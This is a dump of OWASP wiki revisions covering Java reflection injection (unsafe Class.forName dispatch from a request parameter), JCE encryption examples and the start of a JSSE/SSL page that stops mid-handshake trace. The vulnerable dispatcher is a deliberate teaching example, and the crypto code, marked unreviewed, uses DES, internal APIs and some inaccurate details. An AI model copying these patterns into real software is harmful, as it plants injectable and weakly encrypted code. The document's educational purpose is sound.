Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Categorie:FIXME/merge]]&lt;br /&gt;
https://www.owasp.org/index.php/Reflection_injection&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
This vulnerability is caused by unsafe use of the reflection mechanisms in programming languages like Java or C#.&lt;br /&gt;
&lt;br /&gt;
An attacker may be able to create unexpected control flow paths through the application, potentially bypassing security checks. Exploitation of this weakness can result in a limited form of code injection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.&lt;br /&gt;
&lt;br /&gt;
This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath or add new entries to the application's classpath. Under either of these conditions, the attacker can use reflection to introduce new, presumably malicious, behavior into the application.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	String ctl = request.getParameter(&amp;quot;ctl&amp;quot;);&lt;br /&gt;
	Worker ao = null;&lt;br /&gt;
	if (ctl.equals(&amp;quot;Add&amp;quot;)) {&lt;br /&gt;
	  ao = new AddCommand();&lt;br /&gt;
	} else if (ctl.equals(&amp;quot;Modify&amp;quot;)) {&lt;br /&gt;
	  ao = new ModifyCommand();&lt;br /&gt;
	} else {&lt;br /&gt;
	  throw new UnknownActionError();&lt;br /&gt;
	}&lt;br /&gt;
	ao.doAction(request);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A programmer might refactor this code to use reflection as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	String ctl = request.getParameter(&amp;quot;ctl&amp;quot;);&lt;br /&gt;
	Class cmdClass = Class.forName(ctl + &amp;quot;Command&amp;quot;);&lt;br /&gt;
	Worker ao = (Worker) cmdClass.newInstance();&lt;br /&gt;
	ao.doAction(request);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher.&lt;br /&gt;
&lt;br /&gt;
However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they fail to modify the access control code, then some Worker classes will not have any access control.&lt;br /&gt;
&lt;br /&gt;
One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	String ctl = request.getParameter(&amp;quot;ctl&amp;quot;);&lt;br /&gt;
	Class cmdClass = Class.forName(ctl + &amp;quot;Command&amp;quot;);&lt;br /&gt;
	Worker ao = (Worker) cmdClass.newInstance();&lt;br /&gt;
	ao.checkAccessControl(request);&lt;br /&gt;
	ao.doAction(request);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes.&lt;br /&gt;
&lt;br /&gt;
This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
# CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') https://cwe.mitre.org/data/definitions/470.html&lt;br /&gt;
# Wikipedia: Reflection https://en.wikipedia.org/wiki/Reflection_%28computer_programming%29&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Input Validation Vulnerability]]&lt;br /&gt;
[[Category:Use of Dangerous API]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Implementation]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Using_the_Java_Cryptographic_Extensions&amp;diff=235296</id>
		<title>Using the Java Cryptographic Extensions</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Using_the_Java_Cryptographic_Extensions&amp;diff=235296"/>
				<updated>2017-11-10T21:51:02Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=old&lt;br /&gt;
| comment=The page should be updated; see Discussion tab for some details.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
==Meta==&lt;br /&gt;
&lt;br /&gt;
The code included in this article has not been reviewed and should not be used without proper analysis. If you have reviewed the included code or portions of it, please post your findings back to the Java Project mailing list or contact the [[OWASP_Java_Project|OWASP Java and JVM Project]] team.&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
Java Cryptographic Extensions (JCE) is a set of Java API's which provides cryptographic services such as encryption, secret Key Generation, Message Authentication code and Key Agreement. The ciphers supported by JCE include symmetric, asymmetric, block and stream ciphers. JCE was an optional package to JDK v 1.2.x and 1.3.x. JCE has been integrated into JDK v1.4.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
JCE API's are implemented by Cryptographic Service Providers. Each of these cryptographic service providers implements the Service Provider Interface which specifies the functionalities which needs to be implemented by the service providers. Programmers can plugin any Service Providers for performing cryptographic functionalities provided by JCE. J2SE comes with a default provider named SunJCE.&lt;br /&gt;
&lt;br /&gt;
===Symmetric Encryption Algorithms provided by SunJCE===&lt;br /&gt;
# DES  - default keylength of 56 bits&lt;br /&gt;
# AES - &lt;br /&gt;
# RC2, RC4 and RC5&lt;br /&gt;
# IDEA&lt;br /&gt;
# Triple DES – default keylength 112 bits&lt;br /&gt;
# Blowfish – default keylength 56 bits&lt;br /&gt;
# PBEWithMD5AndDES&lt;br /&gt;
# PBEWithHmacSHA1AndDESede&lt;br /&gt;
# DES ede&lt;br /&gt;
&lt;br /&gt;
===Modes of Encryption===&lt;br /&gt;
# ECB&lt;br /&gt;
# CBC&lt;br /&gt;
# CFB&lt;br /&gt;
# OFB&lt;br /&gt;
# PCBC&lt;br /&gt;
&lt;br /&gt;
===Asymmetric Encryption Algorithms implemented by SunJCE===&lt;br /&gt;
# RSA&lt;br /&gt;
# Diffie-Hellman – default keylength 1024 bits&lt;br /&gt;
&lt;br /&gt;
===Hashing / Message Digest Algorithms implemented by SunJCE===&lt;br /&gt;
# MD5 – default size 64 bytes&lt;br /&gt;
# SHA1 - default size 64 bytes&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
===SecureRandom===&lt;br /&gt;
SecureRandom class is used to generate a cryptographically strong pseudo random number by using a PRNG Algorithm.&lt;br /&gt;
The following are the advantages of using SecureRandom over Random.&lt;br /&gt;
1. SecureRandom produces a cryptographically strong pseudo random number generator. &lt;br /&gt;
2. SecureRandom produces cryptographically strong sequences as described in &lt;br /&gt;
[http://www.ietf.org/rfc/rfc1750.txt RFC 1750: Randomness Recommendations for Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package org.owasp.java.crypto;&lt;br /&gt;
&lt;br /&gt;
import java.security.SecureRandom;&lt;br /&gt;
import java.security.NoSuchAlgorithmException;&lt;br /&gt;
&lt;br /&gt;
import sun.misc.BASE64Encoder;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * @author Joe Prasanna Kumar&lt;br /&gt;
 * This program provides the functionality for Generating a Secure Random Number.&lt;br /&gt;
 *  &lt;br /&gt;
 * There are 2 ways to generate a  Random number through SecureRandom.&lt;br /&gt;
 * 1. By calling nextBytes method to generate Random Bytes&lt;br /&gt;
 * 2. Using setSeed(byte[]) to reseed a Random object&lt;br /&gt;
 * &lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
public class SecureRandomGen {&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * @param args&lt;br /&gt;
	 */&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
	        // Initialize a secure random number generator&lt;br /&gt;
	        SecureRandom secureRandom = SecureRandom.getInstance(&amp;quot;SHA1PRNG&amp;quot;);&lt;br /&gt;
	    &lt;br /&gt;
	        // Method 1 - Calling nextBytes method to generate Random Bytes&lt;br /&gt;
	        byte[] bytes = new byte[512];&lt;br /&gt;
	        secureRandom.nextBytes(bytes); &lt;br /&gt;
	        &lt;br /&gt;
	        // Printing the SecureRandom number by calling secureRandom.nextDouble()&lt;br /&gt;
	        System.out.println(&amp;quot; Secure Random # generated by calling nextBytes() is &amp;quot; + secureRandom.nextDouble());&lt;br /&gt;
	    &lt;br /&gt;
	        // Method 2 - Using setSeed(byte[]) to reseed a Random object&lt;br /&gt;
	        int seedByteCount = 10;&lt;br /&gt;
	        byte[] seed = secureRandom.generateSeed(seedByteCount);   &lt;br /&gt;
	        &lt;br /&gt;
	        // TBR System.out.println(&amp;quot; Seed value is &amp;quot; + new BASE64Encoder().encode(seed));&lt;br /&gt;
	    &lt;br /&gt;
	        secureRandom.setSeed(seed);&lt;br /&gt;
	        &lt;br /&gt;
	        System.out.println(&amp;quot; Secure Random # generated using setSeed(byte[]) is  &amp;quot; + secureRandom.nextDouble());&lt;br /&gt;
	        &lt;br /&gt;
	    } catch (NoSuchAlgorithmException noSuchAlgo)&lt;br /&gt;
		{&lt;br /&gt;
			System.out.println(&amp;quot; No Such Algorithm exists &amp;quot; + noSuchAlgo);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== AES Encryption and Decryption ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package org.owasp.java.crypto;&lt;br /&gt;
&lt;br /&gt;
import java.security.InvalidAlgorithmParameterException;&lt;br /&gt;
import java.security.InvalidKeyException;&lt;br /&gt;
import java.security.NoSuchAlgorithmException;&lt;br /&gt;
import java.security.SecureRandom;&lt;br /&gt;
&lt;br /&gt;
import javax.crypto.BadPaddingException;&lt;br /&gt;
import javax.crypto.Cipher;&lt;br /&gt;
import javax.crypto.IllegalBlockSizeException;&lt;br /&gt;
import javax.crypto.KeyGenerator;&lt;br /&gt;
import javax.crypto.NoSuchPaddingException;&lt;br /&gt;
import javax.crypto.SecretKey;&lt;br /&gt;
import javax.crypto.spec.IvParameterSpec;&lt;br /&gt;
&lt;br /&gt;
import sun.misc.BASE64Encoder;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * @author Joe Prasanna Kumar&lt;br /&gt;
 * This program provides the following cryptographic functionalities&lt;br /&gt;
 * 1. Encryption using AES&lt;br /&gt;
 * 2. Decryption using AES&lt;br /&gt;
 * &lt;br /&gt;
 * High Level Algorithm :&lt;br /&gt;
 * 1. Generate a AES key (specify the Key size during this phase) &lt;br /&gt;
 * 2. Create the Cipher &lt;br /&gt;
 * 3. To Encrypt : Initialize the Cipher for Encryption&lt;br /&gt;
 * 4. To Decrypt : Initialize the Cipher for Decryption&lt;br /&gt;
 * &lt;br /&gt;
 * &lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
public class AES {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		&lt;br /&gt;
		String strDataToEncrypt = new String();&lt;br /&gt;
		String strCipherText = new String();&lt;br /&gt;
		String strDecryptedText = new String();&lt;br /&gt;
&lt;br /&gt;
		try {&lt;br /&gt;
			/**&lt;br /&gt;
			 * Step 1. Generate an AES key using KeyGenerator Initialize the&lt;br /&gt;
			 * keysize to 128 bits (16 bytes)&lt;br /&gt;
			 * &lt;br /&gt;
			 */&lt;br /&gt;
			KeyGenerator keyGen = KeyGenerator.getInstance(&amp;quot;AES&amp;quot;);&lt;br /&gt;
			keyGen.init(128);&lt;br /&gt;
			SecretKey secretKey = keyGen.generateKey();&lt;br /&gt;
&lt;br /&gt;
			/**&lt;br /&gt;
			 * Step 2. Generate an Initialization Vector (IV) &lt;br /&gt;
			 * 		a. Use SecureRandom to generate random bits&lt;br /&gt;
			 * 		   The size of the IV matches the blocksize of the cipher (128 bits for AES)&lt;br /&gt;
			 * 		b. Construct the appropriate IvParameterSpec object for the data to pass to Cipher's init() method&lt;br /&gt;
			 */&lt;br /&gt;
&lt;br /&gt;
			final int AES_KEYLENGTH = 128;	// change this as desired for the security level you want&lt;br /&gt;
			byte[] iv = new byte[AES_KEYLENGTH / 8];	// Save the IV bytes or send it in plaintext with the encrypted data so you can decrypt the data later&lt;br /&gt;
			SecureRandom prng = new SecureRandom();&lt;br /&gt;
			prng.nextBytes(iv);&lt;br /&gt;
			&lt;br /&gt;
			/**&lt;br /&gt;
			 * Step 3. Create a Cipher by specifying the following parameters&lt;br /&gt;
			 * 		a. Algorithm name - here it is AES &lt;br /&gt;
			 * 		b. Mode - here it is CBC mode &lt;br /&gt;
			 * 		c. Padding - e.g. PKCS7 or PKCS5&lt;br /&gt;
			 */&lt;br /&gt;
&lt;br /&gt;
			Cipher aesCipherForEncryption = Cipher.getInstance(&amp;quot;AES/CBC/PKCS7PADDING&amp;quot;); // Must specify the mode explicitly as most JCE providers default to ECB mode!!&lt;br /&gt;
&lt;br /&gt;
			/**&lt;br /&gt;
			 * Step 4. Initialize the Cipher for Encryption&lt;br /&gt;
			 */&lt;br /&gt;
&lt;br /&gt;
			aesCipherForEncryption.init(Cipher.ENCRYPT_MODE, secretKey, &lt;br /&gt;
					new IvParameterSpec(iv));&lt;br /&gt;
&lt;br /&gt;
			/**&lt;br /&gt;
			 * Step 5. Encrypt the Data &lt;br /&gt;
			 * 		a. Declare / Initialize the Data. Here the data is of type String &lt;br /&gt;
			 * 		b. Convert the Input Text to Bytes &lt;br /&gt;
			 * 		c. Encrypt the bytes using doFinal method&lt;br /&gt;
			 */&lt;br /&gt;
			strDataToEncrypt = &amp;quot;Hello World of Encryption using AES &amp;quot;;&lt;br /&gt;
			byte[] byteDataToEncrypt = strDataToEncrypt.getBytes();&lt;br /&gt;
			byte[] byteCipherText = aesCipherForEncryption&lt;br /&gt;
					.doFinal(byteDataToEncrypt);&lt;br /&gt;
			// b64 is done differently on Android&lt;br /&gt;
			strCipherText = new BASE64Encoder().encode(byteCipherText);&lt;br /&gt;
			System.out.println(&amp;quot;Cipher Text generated using AES is &amp;quot;&lt;br /&gt;
					+ strCipherText);&lt;br /&gt;
&lt;br /&gt;
			/**&lt;br /&gt;
			 * Step 6. Decrypt the Data &lt;br /&gt;
			 * 		a. Initialize a new instance of Cipher for Decryption (normally don't reuse the same object)&lt;br /&gt;
			 * 		   Be sure to obtain the same IV bytes for CBC mode.&lt;br /&gt;
			 * 		b. Decrypt the cipher bytes using doFinal method&lt;br /&gt;
			 */&lt;br /&gt;
&lt;br /&gt;
			Cipher aesCipherForDecryption = Cipher.getInstance(&amp;quot;AES/CBC/PKCS7PADDING&amp;quot;); // Must specify the mode explicitly as most JCE providers default to ECB mode!!				&lt;br /&gt;
&lt;br /&gt;
			aesCipherForDecryption.init(Cipher.DECRYPT_MODE, secretKey,&lt;br /&gt;
					new IvParameterSpec(iv));&lt;br /&gt;
			byte[] byteDecryptedText = aesCipherForDecryption&lt;br /&gt;
					.doFinal(byteCipherText);&lt;br /&gt;
			strDecryptedText = new String(byteDecryptedText);&lt;br /&gt;
			System.out&lt;br /&gt;
					.println(&amp;quot; Decrypted Text message is &amp;quot; + strDecryptedText);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		catch (NoSuchAlgorithmException noSuchAlgo) {&lt;br /&gt;
			System.out.println(&amp;quot; No Such Algorithm exists &amp;quot; + noSuchAlgo);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		catch (NoSuchPaddingException noSuchPad) {&lt;br /&gt;
			System.out.println(&amp;quot; No Such Padding exists &amp;quot; + noSuchPad);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		catch (InvalidKeyException invalidKey) {&lt;br /&gt;
			System.out.println(&amp;quot; Invalid Key &amp;quot; + invalidKey);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		catch (BadPaddingException badPadding) {&lt;br /&gt;
			System.out.println(&amp;quot; Bad Padding &amp;quot; + badPadding);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		catch (IllegalBlockSizeException illegalBlockSize) {&lt;br /&gt;
			System.out.println(&amp;quot; Illegal Block Size &amp;quot; + illegalBlockSize);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		catch (InvalidAlgorithmParameterException invalidParam) {&lt;br /&gt;
			System.out.println(&amp;quot; Invalid Parameter &amp;quot; + invalidParam);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Des Encryption and Decryption ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package org.owasp.crypto;&lt;br /&gt;
&lt;br /&gt;
import javax.crypto.KeyGenerator;&lt;br /&gt;
import javax.crypto.SecretKey;&lt;br /&gt;
import javax.crypto.Cipher;&lt;br /&gt;
&lt;br /&gt;
import java.security.NoSuchAlgorithmException;&lt;br /&gt;
import java.security.InvalidKeyException;&lt;br /&gt;
import java.security.InvalidAlgorithmParameterException;&lt;br /&gt;
import javax.crypto.NoSuchPaddingException;&lt;br /&gt;
import javax.crypto.BadPaddingException;&lt;br /&gt;
import javax.crypto.IllegalBlockSizeException;&lt;br /&gt;
&lt;br /&gt;
import sun.misc.BASE64Encoder;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * @author Joe Prasanna Kumar&lt;br /&gt;
 * This program provides the following cryptographic functionalities&lt;br /&gt;
 * 1. Encryption using DES&lt;br /&gt;
 * 2. Decryption using DES&lt;br /&gt;
 * &lt;br /&gt;
 * The following modes of DES encryption are supported by SUNJce provider &lt;br /&gt;
 * 1. ECB (Electronic code Book) - Every plaintext block is encrypted separately &lt;br /&gt;
 * 2. CBC (Cipher Block Chaining) - Every plaintext block is XORed with the previous ciphertext block&lt;br /&gt;
 * 3. PCBC (Propogating Cipher Block Chaining) - &lt;br /&gt;
 * 4. CFB (Cipher Feedback Mode) - The previous ciphertext block is encrypted and this enciphered block is XORed with the plaintext block to produce the corresponding ciphertext block &lt;br /&gt;
 * 5. OFB (Output Feedback Mode) - &lt;br /&gt;
 *&lt;br /&gt;
 *	High Level Algorithm :&lt;br /&gt;
 * 1. Generate a DES key&lt;br /&gt;
 * 2. Create the Cipher (Specify the Mode and Padding)&lt;br /&gt;
 * 3. To Encrypt : Initialize the Cipher for Encryption&lt;br /&gt;
 * 4. To Decrypt : Initialize the Cipher for Decryption&lt;br /&gt;
 * &lt;br /&gt;
 * Need for Padding :&lt;br /&gt;
 * Block ciphers operates on data blocks on fixed size n. &lt;br /&gt;
 * Since the data to be encrypted might not always be a multiple of n, the remainder of the bits are padded.&lt;br /&gt;
 * PKCS#5 Padding is what will be used in this program &lt;br /&gt;
 * &lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
public class DES {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		&lt;br /&gt;
		String strDataToEncrypt = new String();&lt;br /&gt;
		String strCipherText = new String();&lt;br /&gt;
		String strDecryptedText = new String();&lt;br /&gt;
		&lt;br /&gt;
		try{&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Step 1. Generate a DES key using KeyGenerator &lt;br /&gt;
		 * &lt;br /&gt;
		 */&lt;br /&gt;
		KeyGenerator keyGen = KeyGenerator.getInstance(&amp;quot;DES&amp;quot;);&lt;br /&gt;
		SecretKey secretKey = keyGen.generateKey();&lt;br /&gt;
		&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Step2. Create a Cipher by specifying the following parameters&lt;br /&gt;
		 * 			a. Algorithm name - here it is DES&lt;br /&gt;
		 * 			b. Mode - here it is CBC&lt;br /&gt;
		 * 			c. Padding - PKCS5Padding&lt;br /&gt;
		 */&lt;br /&gt;
		&lt;br /&gt;
		Cipher desCipher = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;); /* Must specify the mode explicitly as most JCE providers default to ECB mode!! */&lt;br /&gt;
		&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Step 3. Initialize the Cipher for Encryption &lt;br /&gt;
		 */&lt;br /&gt;
		&lt;br /&gt;
		desCipher.init(Cipher.ENCRYPT_MODE,secretKey);&lt;br /&gt;
		&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Step 4. Encrypt the Data&lt;br /&gt;
		 *  		1. Declare / Initialize the Data. Here the data is of type String&lt;br /&gt;
		 *  		2. Convert the Input Text to Bytes&lt;br /&gt;
		 *  		3. Encrypt the bytes using doFinal method &lt;br /&gt;
		 */&lt;br /&gt;
		strDataToEncrypt = &amp;quot;Hello World of Encryption using DES &amp;quot;;&lt;br /&gt;
		byte[] byteDataToEncrypt = strDataToEncrypt.getBytes();&lt;br /&gt;
		byte[] byteCipherText = desCipher.doFinal(byteDataToEncrypt); &lt;br /&gt;
		strCipherText = new BASE64Encoder().encode(byteCipherText);&lt;br /&gt;
		System.out.println(&amp;quot;Cipher Text generated using DES with CBC mode and PKCS5 Padding is &amp;quot; +strCipherText);&lt;br /&gt;
		&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Step 5. Decrypt the Data&lt;br /&gt;
		 *  		1. Initialize the Cipher for Decryption &lt;br /&gt;
		 *  		2. Decrypt the cipher bytes using doFinal method &lt;br /&gt;
		 */&lt;br /&gt;
		desCipher.init(Cipher.DECRYPT_MODE,secretKey,desCipher.getParameters());&lt;br /&gt;
		 //desCipher.init(Cipher.DECRYPT_MODE,secretKey);&lt;br /&gt;
		byte[] byteDecryptedText = desCipher.doFinal(byteCipherText);&lt;br /&gt;
		strDecryptedText = new String(byteDecryptedText);&lt;br /&gt;
		System.out.println(&amp;quot; Decrypted Text message is &amp;quot; +strDecryptedText);&lt;br /&gt;
		}&lt;br /&gt;
		&lt;br /&gt;
		catch (NoSuchAlgorithmException noSuchAlgo)&lt;br /&gt;
		{&lt;br /&gt;
			System.out.println(&amp;quot; No Such Algorithm exists &amp;quot; + noSuchAlgo);&lt;br /&gt;
		}&lt;br /&gt;
		&lt;br /&gt;
			catch (NoSuchPaddingException noSuchPad)&lt;br /&gt;
			{&lt;br /&gt;
				System.out.println(&amp;quot; No Such Padding exists &amp;quot; + noSuchPad);&lt;br /&gt;
			}&lt;br /&gt;
		&lt;br /&gt;
				catch (InvalidKeyException invalidKey)&lt;br /&gt;
				{&lt;br /&gt;
					System.out.println(&amp;quot; Invalid Key &amp;quot; + invalidKey);&lt;br /&gt;
				}&lt;br /&gt;
				&lt;br /&gt;
				catch (BadPaddingException badPadding)&lt;br /&gt;
				{&lt;br /&gt;
					System.out.println(&amp;quot; Bad Padding &amp;quot; + badPadding);&lt;br /&gt;
				}&lt;br /&gt;
				&lt;br /&gt;
				catch (IllegalBlockSizeException illegalBlockSize)&lt;br /&gt;
				{&lt;br /&gt;
					System.out.println(&amp;quot; Illegal Block Size &amp;quot; + illegalBlockSize);&lt;br /&gt;
				}&lt;br /&gt;
				&lt;br /&gt;
				catch (InvalidAlgorithmParameterException invalidParam)&lt;br /&gt;
				{&lt;br /&gt;
					System.out.println(&amp;quot; Invalid Parameter &amp;quot; + invalidParam);&lt;br /&gt;
				}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Using_the_Java_Secure_Socket_Extensions&amp;diff=235295</id>
		<title>Using the Java Secure Socket Extensions</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Using_the_Java_Secure_Socket_Extensions&amp;diff=235295"/>
				<updated>2017-11-10T21:50:50Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
    | type=old&lt;br /&gt;
    | lastRevision=2010-10-21&lt;br /&gt;
    | comment=The page should be updated.&lt;br /&gt;
}}&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Status==&lt;br /&gt;
Requires review&lt;br /&gt;
&lt;br /&gt;
''The code included in this article has not been reviewed and should not be used without proper analysis. If you have reviewed the included code (or portions of it), please post your findings back to this page or to: stephen [at] corsaire.com.''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
===What is SSL ?=== &lt;br /&gt;
SSL - Secure Socket Layer is an Application layer cryptographic protocol developed by Netscape for securing communication over the Internet.&lt;br /&gt;
The security services provided by SSL are&lt;br /&gt;
# Confidentiality through Encryption of data using Symmetric Key Encryption Algorithms&lt;br /&gt;
# Non - Repudiation of Origin / Origin Integrity through Digital Signatures using Asymmetric key Encryption Algorithms or Public Key Cryptographic Algorithms&lt;br /&gt;
# Data Integrity through Hashing using Message Digest or Hashing Algorithms&lt;br /&gt;
&lt;br /&gt;
===What is JSSE ?===&lt;br /&gt;
JSSE is the acronym of Jave Secure Socket Extensions. As the name implies it is a set of Java API's which provides SSL / TLS functionality. &lt;br /&gt;
JSSE follows a Provider Architecture wherein the functionality specified in the Service Provider Interface can be implemented by any Service Provider. JSSE comes bundled with a default service provider named SunJSSE. JSSE was an optional package on jdk ##x and ##x. Since jdk ##x, JSSE comes pre-configured with the standard jdk package&lt;br /&gt;
&lt;br /&gt;
===The JSSE  Implementation of SSL===&lt;br /&gt;
JSSE provides an implementation for creating SSLSocket (used by clients) and SSLServerSocket (used by server).&lt;br /&gt;
====Algorithm for creating SSL Client socket====&lt;br /&gt;
# Determine the SSL Server Name and port in which the SSL server is listening&lt;br /&gt;
# Register the JSSE provider&lt;br /&gt;
# Create an instance of SSLSocketFactory&lt;br /&gt;
# Create an instance of SSLSocket&lt;br /&gt;
# Create an OutputStream object to write to the SSL Server&lt;br /&gt;
# Create an InputStream object to receive messages back from the SSL Server&lt;br /&gt;
&lt;br /&gt;
====Algorithm for creating SSL Server socket====&lt;br /&gt;
# Register the JSSE provider&lt;br /&gt;
# Set System property for keystore by specifying the keystore which contains the server certificate&lt;br /&gt;
# Set System property for the password of the keystore which contains the server certificate&lt;br /&gt;
# Create an instance of SSLServerSocketFactory&lt;br /&gt;
# Create an instance of SSLServerSocket by specifying the port to which the SSL Server socket needs to bind with&lt;br /&gt;
# Initialize an object of SSLSocket&lt;br /&gt;
# Create InputStream object to read data sent by clients&lt;br /&gt;
# Create an OutputStream object to write data back to clients.&lt;br /&gt;
&lt;br /&gt;
===SSL Handshake Protocol===&lt;br /&gt;
The SSL handshake protocol happens between the client and the server and comprises of 4 rounds that enable peers to agree on keys, ciphers and MAC algorithms. The handshake is explained below with the parameters captured in the debug mode during the execution of SSLClient and SSLServer java files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Round 1 : Create the SSL connection between the Client and the Server====&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	C -&amp;gt; S {ver || randomcookie1 || sessionid || Cipher Suites || Compression Methods }&lt;br /&gt;
*** ClientHello, TLSv1&lt;br /&gt;
RandomCookie:  GMT: 1165141617 bytes = { 250, 20, 142, 231, 143, 78, 72, 52, 254, 46, 199, 39, 146, 23, 238, 5, 108, 171, 75, 192, 78, 173, 26, 151, 89, 86, 58, 197 }&lt;br /&gt;
Session ID:  {}&lt;br /&gt;
